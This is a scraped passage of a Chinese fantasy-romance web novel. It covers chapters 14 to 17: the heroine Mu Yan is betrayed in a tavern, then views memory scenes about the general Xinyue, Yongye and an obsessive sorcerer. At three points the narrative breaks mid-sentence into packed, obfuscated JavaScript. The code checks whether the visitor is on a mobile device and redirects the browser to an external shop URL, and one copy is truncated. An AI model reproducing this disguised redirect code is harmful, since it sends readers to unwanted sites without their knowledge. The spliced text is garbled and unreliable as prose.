“几位贵客,这是你们点的地三鲜,请品尝。” 戴帽子男问:“小姑娘,你看起来很面生啊。” 沐颜都没把准备好的话术用上,对方已经抛了橄榄枝,她微笑着,还没答,同桌就有人替她回答。 红衣女子说:“这位好像是安羽小姐的客人,方才就在那边……咦安羽小姐去哪了?” 沐颜连道:“米饭诈蛆了,她去后厨说要露一手,我这不是等得无聊了,所以……” “快坐快坐。” 二人给她腾了位置。 她对面的小胖哥道:“既然是安羽小姐的贵客,那就是我们第二区的贵客,可不能怠慢了。” “那经理也真是,这么简单的事情都安排不妥当,怎么冷落我们尊贵的客人,回头我和他们老板好好说说。” “诸位客气了,客气了。” 红衣女子:“要不要吃点?” “不用不用,我就是听你们聊得精彩,想过来凑个热闹,你们继续。” 最先和她搭话的那人道:“听我说有什么意思,不过都是些家常巷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538657|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短的小故事,不如贵客你来说说?” “我?” 沐颜一时也不知如何说起才能不冷场。 “我从很远的地方来,我们那里和你们这里很不一样。” 她所在的世界和平,安宁,每个人都能安居乐业,更不会有奇怪的生物随意残害人类。 小胖哥:“懂了。” 啊?他懂了啥?她还什么都没说呢。 红衣女子和戴帽子男齐声问:“你懂了啥。” “这是贵客有问题想问咱们啊,你们忘了吗?” 等等,等等。沐颜一颗意识到,好像哪里有点不对劲。 从阅读理解的角度出发,她刚才说的那句话,哪里带有提问的意思,说是引出下文才准确吧? 小胖哥:“贵客不用不好意思,我们都知道,趁安羽小姐不在,你尽管问便是,我们知无不言言无不尽。” 沐颜:! 居然还有这等好事? “关山月,你们听过这一号人物么?我在第三区出任务的时候有幸见过,他可真够疯的。” 戴帽子男回她:“你说的是执政官预备人关山月吧,他是贺执政官亲手培养出来的徒弟,自然能力和名声都是响当当的,第二区的人几乎无人不识。” 沐颜心道,回答的还真爽快,她得抓紧时间。 “那你们可曾听说过第一区?那里是怎样的?” “你问这个做什么,你想去?” 红衣女子摇头:“那地方可不能去,搞不好会死人的。” 沐颜装不在意:“哪有你们说的那么夸张,我听说很多人都去过。” 小胖哥义正言辞:“贵客,你那朋友是在坑你,可别听他们瞎说,贺执政官严令所有人去那里,谁敢去,都会被就地……” 他没说完后面的话,但做了被抹脖子的动作。 沐颜后背窜上一股冷意:“你们难道就不好奇那里到底是什么样子,万一那里没有变异的生物,是一个崭新的世界,那你们也不好奇?” 红衣女子笑了:“像贺执政官这样英勇有才能的人,都不会靠近的地方,能是什么好地方,退一万步讲,要是真是好地方,他们又怎么会和我们同在一片天地,在斩杀异种时每次都带人冲在最前面,九死一生。” 戴帽子男:“执政官们的付出,我们都看在眼里,记在心里,他们的话,我们愿意听。” 小胖哥:“我认同。” 沐颜无语至极,他们看起来都老大不小,就不能有点自己的主见? “万一,我是说万一啊,执政官他们也各有心思,不想告诉你们……你们也不用用这种眼神看着我,我就是随口一……我不说了行了吧。” 对面几道目光,不过霎那间,友善和煦消失得无影无踪,取而代之的是阴沉冷酷想要把她撕碎的眼神。 沐颜后背发麻,摸向青铜刺起身就要离开。 小胖哥跟着站起:“贵客,话还没说完你这是要去哪?” 红衣女子:“不准走。” 戴帽子男直接走到她身后。 这是打算来包抄? 沐颜也搞不清楚是哪个字戳到他们的转变开关,无缘无故得罪了他们,索性也豁出去了:“是没说完,第一区怎么走,你们谁知道。” 15. 相误 “我知道!” 整个酒楼二层,在她问话的一霎那,如同中邪一般齐声回答她。 “我知道,第一区的门在贺执政官身旁,他说你可以进,你就可以进。” 沐颜顿时掉了一地的鸡皮疙瘩,这是在和她演戏,还是真的事实如此? “第一区里到底有什么?” “死!” 这一声回答,洪亮如钟,整个天花板都在跟着颤抖。 沐颜见势不妙,当即冲向最近的窗户想跳窗离开。 她移动,周围人随之跟着冲上,一下就将前路堵死。 沐颜挥着青铜刺,警告靠近的人,但他们好似被抽走灵魂,除了方才和她一桌的三人,其余人眼里满是麻木空洞完全没有痛觉,他们互相推搡着,如同僵尸般朝她伸出手。 这些人想要把她活生生撕碎! 人群间隙里,她看到了熟悉的身影,是安羽! “安羽,快救我,我……” 沐颜陡然收住了呼叫,她看向安羽时,安羽分明也在看这里,她看到了自己,不知道是什么时候回来的,但她并没有下一步动作。 她在看着她被撕碎。 沐颜心中涌上冷意,看来人性的恶,远比异种更恶。 “滚开!” 绝境里,沐颜豁出去了,拿着青铜刺一番砍杀,硬生生冲了出来。 安羽神色变了,目光往旁边的黑暗里看了一眼。 “看到那股狠劲了吗?她不简单,不是简单的外来客。” 黑暗里,有人回应她:“所以你急匆匆把我叫回来,就是因为这个?” “这些人困不住她,你抓紧时间,贺卡已经在回来路上。” 那道声音轻笑了下,从黑暗里走出来,赫然是关山月。 “安羽,你不会是吃醋了,她迟早会死,何必如此着急,你难道信不过贺卡?” 安羽摇头:“我不知道,我只知道,在见到她的那一刻,我的心很乱,直觉告诉我,她的到来,注定会带来很多不好的事。” 关山月耸耸肩膀:“反正我无所谓。” 他朝沐颜走去,眼眸逐渐阴冷:“这些年,但凡想去到第一区的,都得死!” 砰! 人群中心,突然炸开一团强大的气浪,掀飞的人落到地上,在关山月走过的一霎那,纷纷停止了呻吟抽动,齐整整看向沐颜。 班规再低的沐颜也不清楚,这一次助她的力量来自何处,她怎么会有那么强大的力量掀飞那么多人,在先前斩杀异种时也同样如此。 她能确定,自己身上有不同寻常之处,可放在这个本就已经不同寻常的世界里,只会让事情更错综复杂。 不正常的是他们,才不是她! 沐颜勉力站起,眼前视野仍有些重影,但向她走来的人影却很熟悉,她努力辨认,你是……关山月? “是我,沐颜,好久不见。” 他从身后摸出激光枪,停在三米外。 “贺卡的忠告你为什么不听?” 沐颜浑身冰凉:“你也要杀我?明明先前,我还把你当朋友。” “抱歉。” “我只是想回家,有什么错?” “如果你回家了,我们都得死。” “放屁,谁定的规定你们找谁去,和我有什么关系!” 安羽神情复杂:“可那个人,我们觉得就是你。” 疯子,都是一群疯子,她到底在试图和他们说什么啊,他们本来就不是一个世界的人。 安羽,你之前问我,如果有选择,我会不会去拯救那些遭受异种所害的无辜之人,我想告诉你,我会的,可现在看来,导致这一困境和悲剧的人,正是你们。 关山月皱眉:“你的说法很新奇,说来听听?” “关山月,别听她说,你快动手。” “安羽,不急一时。” “我有不好的预感,”安羽见他不动,立刻过来要争抢,“她一定会误事。” “你悬疑剧看多了,还想着杀人前告诉她个清清楚楚,还是听她说个清清楚楚,就怕她来不及反杀么!” 沐颜心里一动,先前的疑惑不解在此刻连成了一片完整的讯息。 你们身居高位,得他们如此信任,不想着如何带领他们团结起来共同对抗异种,却偏安一隅,控制思想,让他们逐渐适应,慢慢磨掉野性,安羽,你们这是在救人么,不,你们在杀人! 为什么不让我说,因为我说对了是么。 “你在害怕,你怕他们哪天一时觉醒了想明白后都会起来反抗你们的独裁统治。” “告诉我第一区到底有什么,你们到底在隐瞒什么!” 安羽见争抢无望,转身拿过一旁的餐刀,朝她扑来。 “沐颜,我也能杀你。” “是么,那你来啊!” 在场少说也有一百多人,一个个站着不动让她砍,她一晚上都未必能砍完。 她知道最后关山月一定不会站在她这边,她已经做好殊死搏斗的准备。 她也在赌,赌身上的力量再一次爆发救她于水火。 沐颜偏过安羽刺来的攻击,反手一拧,将餐刀往旁边扔去,转而扑向关山月。 他手里的枪最具威胁力,如果她能打落,局势立刻反转。 可她还是低估了关山月的冷血,在安羽朝她冲来的时候,他已经瞄准,在她冲过去时,扣下扳机,没有一丝犹豫。 时间好似被拉长,周围一切速度都慢了下来。 沐颜看到从枪口朝她喷射而来的激光,似一条延长线,以肉眼可见的速度朝她心口延伸。 她明知徒劳,仍下意识抬起手想要去阻挡,眼见就要被贯穿的瞬间,被人生拉了出去。 是贺卡。 时间恢复正常。 他问:“有没有伤到?” 沐颜惊魂未定,这次觉醒的能力是召唤他来相救? 不,他和他们是一伙的。 她立刻拉开距离,“你离我远点。” 贺卡环视全场,面色冷得惊人。 “安羽,关山月,给我个解释。” 关山月尴尬地摸了摸鼻子:“就你看到的那样。” 他过去将安羽扶起,嘀咕:“你吃醋也是应该的,他来了都没第一时间问你也不来扶你。” “关山月!” “哎呀,我错了,反正她都要去第一区,反正你都是要杀她的,我们帮你杀又有什么关系。” “你不能见色忘义啊。” “若我没记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550045|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,你之前不是一直想和她组队?” “那是之前,安羽和她,孰轻孰重,你我难道还分不清?” 沐颜只觉心烦,莫名其妙被安上罪名,被背叛,她不想再听:“够了,我没心思听你们商量如何杀我,要杀就来,我就站这里等着。” 安羽趁关山月放松戒备,从他手里拿过枪,上膛要射,被贺卡及时打落。 “贺卡,我是在帮你。” “我知道,但我不需要。” 沐颜冷冷道:“好,看来你是想亲手杀我,行,我……我去!” 预想中,她是要放几句狠话,然后朝贺卡冲去,凭借着自己不凡的身手和不时能爆发救她的力量将贺卡拿下,然后以此要挟关山月和安羽,让他们把知道的统统说出来,少在那和她卖关子! 可是莫名其妙的,明明她和贺卡之间是一片空地没有阻挡,她却莫名崴了脚,径直朝地面倒去,差点让她想当场摔死过去。 安羽和关山月也惊了,这是哪一计? 欲伤敌八百先自损一千? 但沐颜没有和地面来个亲切接触,贺卡接住了她,可却被她来不及收回的青铜刺,径直刺入心口。 沐颜顿时无措:“我,我不是故意的,你没事吧?” 安羽,关山月:…… 看明白了,是美人计。 贺卡自嘲一笑:“沐颜,无论重来多少次,你总有办法能杀我。” “我…我没想杀你,真的,我只是想回家。” “我还能信你吗?” 他话音落下,周遭一切迅速陷入黑暗里,只剩他们站在一处光亮下。 “你看起来伤得也不重,还有心思和我打哑谜,说吧,这又是搞什么鬼?” 贺卡看着黑暗中逐渐浮现的光点,脸色不好:“你不是已经猜到了,为何还问?” 又来了? 沐颜无语,想往旁边摸去,她记得黑暗降临前这里有张桌子,上面的餐布可以帮他简单包扎一下,如果他不领情就用这个堵住他的嘴。 “奇怪,明明记得在这,怎么摸不到呢?” 她寻找间,就见周围黄绿色的光点越来越近,她下意识反应会不会是能发光的萤火虫一类,就见几步外的贺卡似是坚持不住,缓缓跪倒在地。 “那些是什么东西?是你派来吃我的?” 贺卡看着她,眼里有委屈,有泪光。 沐颜:…… 她知道她下不了手了。 “真看不起我自己啊。” “为何这么说?” “贺卡,也不怕你笑话我,你又不喜欢我,可我,好像挺喜欢你的。” “你看啊,现在安羽和关山月都不在,你落单了正是对付你的好时候,可我想的却是你伤口会不会疼,想找干净的东西帮你按压止血,你看,是不是挺没用。” 贺卡沉默了一会儿:“你过来。” 沐颜自嘲:“你要杀我?” “不杀。” 沐颜乖乖走过去,在他面前蹲下。 贺卡目光不离她,伸出手在虚空一抓,一个光点被他抓住,他拿到她身前,只见光点逐渐散开,化作气泡,将她逐渐笼罩。 “我没有不喜欢你。” “沐颜,我爱你。” 16. 永夜新月 沐颜触碰到光点的一瞬,贺卡也消失了,她的眼前是另一番天地,她在里面看到了自己,一只花松鼠正朝她跑去。 “这里是未来,还是过去?” “你怕是从犄角旮旯里来的吧,居然连这个也不知道?” 花松鼠回道,但不是回答她,而是和这里的沐颜说。 和第一第二个房间里的场景一样,他们完全感知不到她的存在。 “那白狐当家人已经活了几千年了,一直没有变老,这世上谁也没见过她的真面目……现如今好不容易碰上她来寻他们家的小公子,难道就不想看一看?” 沐颜遇到离奇古怪的事情,也不是一天两天一件两件,她看到这里的“沐颜”和花松鼠开始往别处走去,也跟着走过去。 既然贺卡让她看,那她就看个明白,清清楚楚。 “沐颜”在楼宇间穿梭,不多时便看到了被乌泱泱众人簇拥着的移动树屋。 小白狐纵然瞒她在前是不对,可是一路上他舍身挡在她身前,为她殒过命也是铁板钉钉的事实。 都说一报还一报,她既受了他的恩,那么将来哪怕被他背刺几刀,也是自己应得的。 眼下,她对千年老太的容颜不感兴趣,只是想和他好好告个别。 可是,围观的人实在太多了,“沐颜”根本挤不进去,哪怕好不容易往前靠了些,也会很快被挤出来。 她喊着小白的名字,声音被淹没在阵阵欢呼欢送的声潮里。 以后,或许他们也不会再见了。 以后,他若回忆起来,是不是也会觉得自己一片真心错付,自己最后和他说的话,是那么冰冷无情。 “沐颜”愣神间,不慎被推倒。 拥挤的人群陆续从她身旁经过,深一脚浅一脚地踩着,她却一点也感觉不到疼。 她的眼前出现和小白第一次见面的场景,那时的他多威风啊。 有着一双冰冷的蓝眸,明明光靠眼神就能把靠近他的凶兽吓得浑身发抖,却对她无尽温柔谄媚,生怕自己会丢下他。 可最后她还是把他丢下了,此刻她突然读懂了分别时他目光里的意思。 没有不甘,没有怨恨,只有无法言说又痛彻心扉的眷恋。 人,总是失去时,方能明白过来何为珍贵。 天命不可违,天道不可违。 天,又算什么! “沐颜”哼笑了声,不是不让他们相见么,既如此,她便逆天! 她咬牙强撑着起身,就要往前追去。 抬眼瞬间,却不由愣住。 那慢慢消失的人潮声其实是白狐他们停了下来,往回看去,周围人不明所以,声音也渐渐弱了下来。 她的目光,虽隔着重重人海,却还是能一眼就看到了树屋阁楼里被遮挡的白狐的身影。 花色狐狸开出一条道过来:“沐姑娘,我们又见面了。” “我有话和你们小公子说,烦请通传。” 花色狐狸:“请,家主停下也正是在等姑娘。” 一丝诡异之感一闪而逝,那个瞬间,“沐颜”隐约觉得有些不对,但到底心里装着事情,并没有深究。 她用最快的速度来到树屋前,白狐已经在下面等着她,回家的他多了稳重,不会再像之前一样兴奋与激动地围着她转圈圈,只是浅浅微笑着,静静看着她。 白老太还在阁楼上,背对着他们望向远方,看样子是给他们一些独处的时间,花色狐狸也识趣地带人将围观的人都清走了。 先前没见时,她心里堵了好多话,可这见着了,那份情绪又不知从何说起。 二人僵愣一阵儿,“沐颜”先败下阵来。 既然等不到他开口,那么她来说! “我还有要事在身,等了却后,我会去葡萄林,到那时,我希望你能亲口告诉我你的名字。” 她不自觉伸出手,等到意识到不妥的时候,白狐已经耷拉着耳朵将脑袋凑到了她手心里,轻轻蹭着。 是毛茸茸,软乎乎的。 …… 一炷香前,树屋里。 白老太看着扒在窗沿边极力往后看去的白狐,不由轻笑:“别白费力气了,她一个没心的人,是不会再回来的。” 周遭的温度猛然下降。 白狐清冷开口:“我不许你这么说她,若有下次,我绝不客气。” 这话说得,若让外面的花色狐狸众人听到,还不得以为自家小公子外出游历时磕到脑袋了,居然敢和家主如此说话。 可白老太撇撇嘴,到底把剩下的话给咽了回去。 她摸了摸自己光华细腻的脸庞,诡异的笑容慢慢浮现:“既如此,你更该知道自己需要做什么。” “小公子,我们时间不多了。” 白狐垂下眸,心里默叹,这一次,希望你还能原谅我…… 沐颜:…… 没头没尾的,看不明白,但场景到此已经结束,光球从她身体离开,她看到在她的身旁漂浮着不少像这样的光点。 她犹豫了下,伸出手想贺卡一样去触碰光点,果不其然,光点迅速将她笼罩,另一个场景出现,里面同样有一个和她一模一样的人。 她反应过来,这是记忆。 可这里为何会有一个和她一模一样的人? “沐颜”站在一处祭台旁,苦口婆心劝一个干瘦男子放下执念,不要再添杀戮。 干瘦男子面容狰狞:“你不该来的。” “沐颜”自嘲笑笑:“是啊,我不该来的。” 她所以为的被屠者,需要被拯救者,其实正是挥起屠刀之人。 这个世道的善与恶,哪能那么容易分辨与定义。 周遭温度突然降了下来,干瘦男子站立的位置底下,以他为中心,数道裂缝正快速向她袭来。 “沐颜”抽出青铜刺,冷冷视之:“想留下我,且看你有没有这个本事!” 干瘦男子哂笑:“是么,那你为何不动了?” 嗯? “沐颜”一愣,什么叫做她不动,她能……不是,要不要这么倒霉。 干瘦男子一巴掌甩来,她的身体被击飞,重重摔到荷池里。 干瘦男子从空中缓缓落下:“给我勒死她。” 浑浊的荷池里,不断有荷叶伸展出来将她包裹成粽子,然后不断收紧…… 她血肉骨骼无法承受越来越大的挤压力道,开始发出令人揪心的声响。 “沐颜”克制不住,大口鲜血吐了出来。 干瘦男子见血,更是兴奋。 “沐姑娘,你不是很厉害么,你若是能帮我把他带回来,我便饶你一命!” “我#¥@%……¥#&……” “沐颜”国粹骂不出来,再不想办法脱身她真要交代在这,连坑都省得挖那种。 干瘦男子因等不到她的回答,自顾自接道:“你不说话,我便当你是答应了。” “沐颜”气恼:“哪门子的歪理。” 她使尽力气挣扎,却无济于事,周遭的风开始涌动,在她的上方,两道黑气慢慢从干瘦男子的脑子里涌出,凝结成实体的黑雾,裹挟着冰冷血腥的气息,直直往她双目刺来! 不!不要! 预料之中的疼痛并未袭来,一身柔软的毛在她脸庞上轻轻扫过。 下一瞬,她只感到一阵不可抗拒的睡意汹涌袭来,很快便失去了意识…… 等她再次睁开眼,入目是一片白茫茫的天地。 她适应了一会儿后,并未感知到附近有危险的气息,正准备循着流雾移动的方向往外走去,一阵悠然的琴声传来,四周的景象也逐渐清晰可见。 是一处春日将临,积雪消融的山林旷野。 干瘦男子一袭白衣,端坐在小河边,焚香弹琴。 他的模样与先前大有不同,全身上下一副骷髅架,能让“沐颜”确认他身份的,是他胸腔里祭奠散落的光点——光点数量正好和她先前给的一模一样。 “沐颜”双手环抱,缓步上前。 “说吧,这次你又想怎么样?” 干瘦男子目光不离琴,下颚骨动了下,似乎是笑了笑:“我竟不知,沐姑娘与那位有故交,方才是我唐突了。” “沐颜”无言已对。 “那你能放我走,也别残害同村人了吗?” 干瘦男子微笑:“不能。” “那位故人的面子我要给,但不能一直给。” “沐颜”后退一步戒备:“说人话。” “沐姑娘,你想不想知道我和他的故事?” “沐颜”当即回他:“不想!” 她更想知道,方才帮她挡下一击的那道白色身影是谁。 他有没有受伤? 干瘦男子被拒绝也不恼,继续弹着琴,可下一瞬琴弦没有预兆断了。 “啧,看来你也在催我啊。” 周围的流云开始飞速流动,掀起的飓风直接将来不及躲避的“沐颜”往半空卷去。 周围的场景又变了。 她正站在一处山坡的高地上。 不远处,一群马贼正追着一行人烧杀劫掠。 健硕的少年留在最后试图阻挡,但并没有什么用。 高高扬起的马蹄不费什么力气就将他撂倒,一个马贼跳下来就朝他身上扑去。 少年热血上涌,目眦欲裂:“呔,俺就是死,也要拖上你。” 他手脚被摁住动弹不得,索性一张口朝那贼脖子咬去,嘴里很快被腥甜的气味充斥,他正欲加中力道,身上某处突然一僵。 他不敢置信,整个人顿时石化在地。 你…你…… 嘿嘿,长得是差了点,但身板确实极好的,好好陪哥哥玩玩,一会儿保证让你□□。 他的一张口,反倒引来了别的歹念。 少年想把自己掐死的心都有了。 “你别碰我,你杀了我吧!我求你。” “想死,可没那么容易,我……啊!” 少年绝望之际,就见压在他身上的马贼突然飞了出去,他看去,就见一名骑着白马的人,利落收回鞭子,朝他伸出手。 “本将军新月在此一日,隐国百姓就无需向流寇屈服。” “众将士听令,杀!” 沐颜:…… 她这是误入英雄救美的片场了? 画面一转,入目是各种鲜艳喜庆的红,看样子是新人的新房,干瘦男子正站在床边,和一身红嫁衣的人说话。 “新月,你喜欢我的布置么?” 她不由得打了个寒颤,对于喜宴,总有种不好的预感。 “沐颜”小心伸出手去触摸一旁的柱子,就见她的手直接穿进了柱子里。 “是幻觉?” 她被困在干瘦男子的执念里。 “按照常理,若想出去,只能消除执念。” “沐颜”叹了口气,正思索着下一步,肩膀突然被拍了一下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551953|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她一个激灵,没曾想这里居然能有活物,退开几步回身看去,竟是新月。 一身红衣的新月微笑着看着她,他身后还有一人,面容清冷,也向她轻点了下头,算是打了招呼。 是永夜。 “你们,能看到我?” “沐颜”迟疑了下,开口时还是把“你们是什么东西”给换了个礼貌的问法,毕竟这两人看起来并无恶意。 新月左右看了下,问:“姑娘,这里貌似也没有第二人,我们没吓到你吧。” 永夜胳膊肘捣了他一下:“她既然能出现在这里,想来或许需要害怕的不是我们。” “沐颜”尴尬笑笑:“是,是啊,那个,你们知道怎样出去吗?” 新月却是问:“你是不是把他杀了?” 完了,刚杀人家相好,这还没动手就被当场碰到,现在是一对三,能打得过么? 要不要这么倒霉? 永夜见她迟迟不回答,也追问:“姑娘,你真的杀了他吗?” “沐颜”叹气:“那个,你们讲理么?” 她若是把事情来龙去脉和他们说清楚,杀干瘦男子是无奈之举,是他先对自己动的手对村子犯下杀戮,也许可以避免一场干戈。 新月和永夜互看一眼,反应过来“沐颜”是什么意思。 新月:“姑娘你别怕,我们没有要怪你的意思,只是想确认那厮是不是真的死了,他若是死了我们还要庆祝的。” ? “干瘦男子不是你相好么,怎么从你嘴里听来,反倒更像是仇人?” 永夜不屑:“就他一只癞蛤蟆,也配?” 新月连连摆手:“非也,他就是个无耻又无赖的流氓,我巴不得离他远远的。” “早知会连累永夜,说什么那时也不要救这等小人。” “沐颜”出言打断:“等等,你越说我越糊涂了,你们到底是怎么一回事?” 新月不知从哪搬来了三张石凳,示意“沐颜”坐下。 “这事啊,说来话长……” “我在北行路上,救下了流离失所的干瘦男子及其族人,多年后再次相遇,干瘦男子多年前从军,还谋到了不小的官职,他向我表露心意。” “我明确表示了拒绝,只当他是朋友,还很热心指导其弟的武艺。” “可他却像听不懂一样,一直对我死缠烂打。” “不久后边境战火起,我领命前往。他不知用了什么手段,拦下为前线护送粮草的差事。” “大局当前,我一向不会因为个人问题而置家国不顾,可他不是,他竟卑鄙地以粮草为要挟,若我不答应与他在一起,他便将粮草付之一炬。” “我气恼,立刻派永夜前去接手,怕他的偏执会坏了大事,但没等永夜赶到,这厮收到消息,竟真一把火将十万大军的粮草都烧了!” “迫于无奈,我只能下令撤军。在断后的路上,我们一行遭到敌军围剿,尽管竭力抵抗,但后续无援,最终战死。” “想我一世英名,竟栽在他手里,我真恨不得将他生吞活剥,怎么可能给他一点好颜色!” “沐颜”:“他做的,确实天理难容。” 新月扼腕:“后面的事,我连说出来都觉得脏了我的嘴!” 永夜:“没关系,剩下的我来说。” “敌国敬畏将军,差人把将军尸首妥善送回隐国,干瘦男子却带人埋伏在路上,将护送新月回皇陵的侍卫都杀了,抢走尸身藏入万千大山。” “我带人追过去,同样遭了算计。” “这些年里,他一直学习巫术,想尽各种法子复活新月。” “但寻起死回生此等逆天之术,本就是虚妄一场空。” “干瘦男子在偏激的路上越走越远,保全将军尸身的同时,拿我做试验,阴差阳错,我二人的一丝魂魄竟真让他招了回来。” 新月感慨:“憋了这么多年,能说出来实在太畅快,痛快!” “他想我们活,我们只想让他死,如今看来,到底上苍锤炼的是我们。” “我们愿助姑娘一臂之力,设局杀他!” “沐颜”斗志高涨:“怎么设,怎么杀?” 新月眉宇一扬:“我们甘愿消散,动摇他的心智,你趁机取他性命。” “沐颜”:…… 她有种说了和没说一样的感觉。 二人旁若无人,起身看着对方,眼里闪烁着光芒。 新月:“该说的话,都说完了,现在我想说一些心里的话。” “原本我以为,这个秘密,你不说,我也便和你一同保守下去。可是现在我想明白了。” “我想和你说……” 永夜一惊:“新月,你……” 新月眼里的笑意与爱意都不再遮掩:“我一直都知道,也一直都……愿意。” “沐颜”:…… 她捂脸转身,无语问苍天,她到底是犯了什么滔天大罪,让她被迫听他们的爱恨情仇! 兜兜转转,原来他们才是该双宿双飞的那一对。 “沐姑娘。” “?” 新月和永夜双手紧扣向她走来:“我们该走了。” “这么快,你们才……不再多说说话?” 永夜目光不离新月:“我们已经不需要了,即使没有表明心意,相守的每一天,我们都有在珍惜。” “沐颜”看着两人并肩而行,身影慢慢隐入黑暗…… 17. 爱生血肉 沐颜看得郁愤,热血上涌,都恨不得亲自上身把那个偏执变态的干瘦男子痛打一顿。 她向最近的光点伸出手,看着周围的光点,心里祈祷一定要是接着的后续。 一身骷髅架的干瘦男子一袭红衣,兴冲冲地往里间走去。 “新月,新月,快出来我们去拜堂成亲!” “你在哪,你快出来,不要错过吉时了哦。” “沐颜”在他发狂大叫的前一瞬,适时地伸手捂住了耳朵。 “呜呼哀哉,我与你真是无话可说。” 等他宣泄得差不多了,她提着青铜刺走进去准备了结。 干瘦男子瘫在床榻旁,满脸生无可恋,嘴里絮絮叨叨说着什么,他身上的气息已经很淡,身影也在渐渐消失。 看样子无需她动手,这家伙也活不了多久。 而且,他这副模样,看起来也没有反抗的意志,“沐颜”若要杀,和杀一只手无寸铁的待宰羔羊没什么区别。 她索性坐在一旁,撑着脑袋等他消散。 “你走了,你真的走了。” “为什么你不爱我呢,我真的很喜欢你。” “你救过我,难道这还不能说明你对我的感情吗?我绝不信你对我丝毫没有动过心。” “新月,我喜欢你,你在和我开玩笑的对不对,我就知道,我一定会乖乖在这里等你回来的。” 他往脸上一抹,把泪水鼻涕胡乱一擦,起身整理榻上的新褥和枕头:“对,一定是永夜那家伙把你掳走了,我已经让人去把他杀了,你放心,我就在这里等着你,哪里也不去。” “沐颜”看着他因为动作而更稀薄的身影,不由道:“就是这样,多消耗一下体力,你再多找点事做。” 干瘦男子也不知能不能看到“沐颜”,但自“沐颜”进来后目光倒是没有在她身上停留过一瞬,可眼下却能很准确地和她对着干。 他整理好床榻后,一个转身,又重新瘫在床榻旁,满脸生无可恋。 “你走了,你真的走了。” “为什么你不爱我呢,我真的很喜欢你。” “你救过我,难道这还不能说明你对我的感情吗?我绝不信你对我丝毫没有动过心……” 如此反复三次后,“沐颜”终于明白过来,这家伙敢情是在和自己重复循环! 她上去揪起他的衣领,庆幸能触碰到实体:“你给我站好了!” “这世上值得你留恋的事,难道除了情爱,你的脑袋就再也装不下其它的了吗?” “你无不无聊,人家只是出于大将军的责任出手救你,难道就要嫁给你?” “新月和永夜是天造地设的一对儿,你才是插足的第三者,没有你,他们最后的时光里也不会有那么多的苦难。” “他怎么还会回来,他们巴不得亲手杀了你这个恶心的家伙!” “沐颜”莫名成了CP头子,一番话说下来心里那叫一个畅快。 只可惜干瘦男子对她的话毫无反应,气得她直接用力一推。 干瘦男子摔倒在地,嘴里的话倒是换了一句。 “满月,没有你我可怎么活啊?” “没有你我可怎么活啊,没有你我可……” “沐颜”:“……” 得,她就多余说那些。 她深吸一口气,缓缓将青铜刺对准了他。 他死了,执念也就消除,她也能离开这里。 “你没有分清什么是爱与感激。” “如果你真的需要一个活下去的理由,没有人爱的话就来爱我,我一……” “沐颜”本是随口一说,想要消解他的执念,没曾想出了反效果。 先前吧啦一堆干瘦男子都毫无反应,现在居然停住了碎碎念,猛地抬头看向她。 原本黑漆漆空洞的眼眶里,有几丝光亮闪过。 下一瞬,他蹭地一下站起。 “此话当真?” “沐颜”:“……” “……我说了你会走么?” 她如何不知他想要的回答是哪种。 干瘦男子郑重点了点头。 “沐颜”则道:“是。” 干瘦男子周身的红衣开始破碎成灰,露出里面血淋淋的骷髅骨架。 就当“沐颜”以为也会跟着继续破碎成灰时,那骨头上居然开始往外以肉眼可见的速度长出血肉。 爱能滋养出血肉的现场版么? 皮囊渐现,身形更高挑,气韵不凡,一副风华绝代容颜,衬着另一身飘逸的红衣,更显得那份美的惊心动魄。 “沐颜”在他灼热的目光下有些许失神,反应过来后有些尴尬地清了清嗓子。 “你又是谁?” 她很确定,眼前这人,不是干瘦男子。 来人却是上前一步,又问了一遍:“你刚才说,若我无人可爱,可以来爱你,可还作数?” 他的声音如清泉流过山野般悦耳,“沐颜”根本拒绝不了:“……是。” 她心里道:这幼稚鬼又是哪里来的? 幼稚鬼本人却毫不在意,他看起来开心极了,在“沐颜”身前一挥,一阵红色的光点消散后,她的身上也同样穿上了一身红嫁衣。 “沐颜”:“……” “我不喜不讲诚信之人,你刚刚也应允我会离开的,若是…嗯,我不会客气的。” 那人道:“你别怕,我不做什么的。” 他确实没做什么多余的事,可光那深情得能把整个太平洋都装下的眼眸,就已经能让“沐颜”千百个不自在,一身鸡皮疙瘩不断往下掉。 那人似乎很满意,眼见“沐颜”被看得发毛即将要爆发,立即转开了视线。 他在梳妆台上一通找,片刻后欣喜道:“找到了。” “沐颜”往后退了几步,警惕道:“你要做什么?” 那人拿着螺子黛向她走来,声音极尽温柔:“画眉。” 他顿了顿,又道:“画完我就走。” “你若是不走呢?” 他笑:“我倒是真的很不想走啊。” 这堪称是自己话不由脑闯来的祸,现在说什么都迟了。 “沐颜”左右看看,想着反正也没人看见,出了这里也没人会知道,索性也豁出去了。 “画,画!画完赶紧给我滚!” 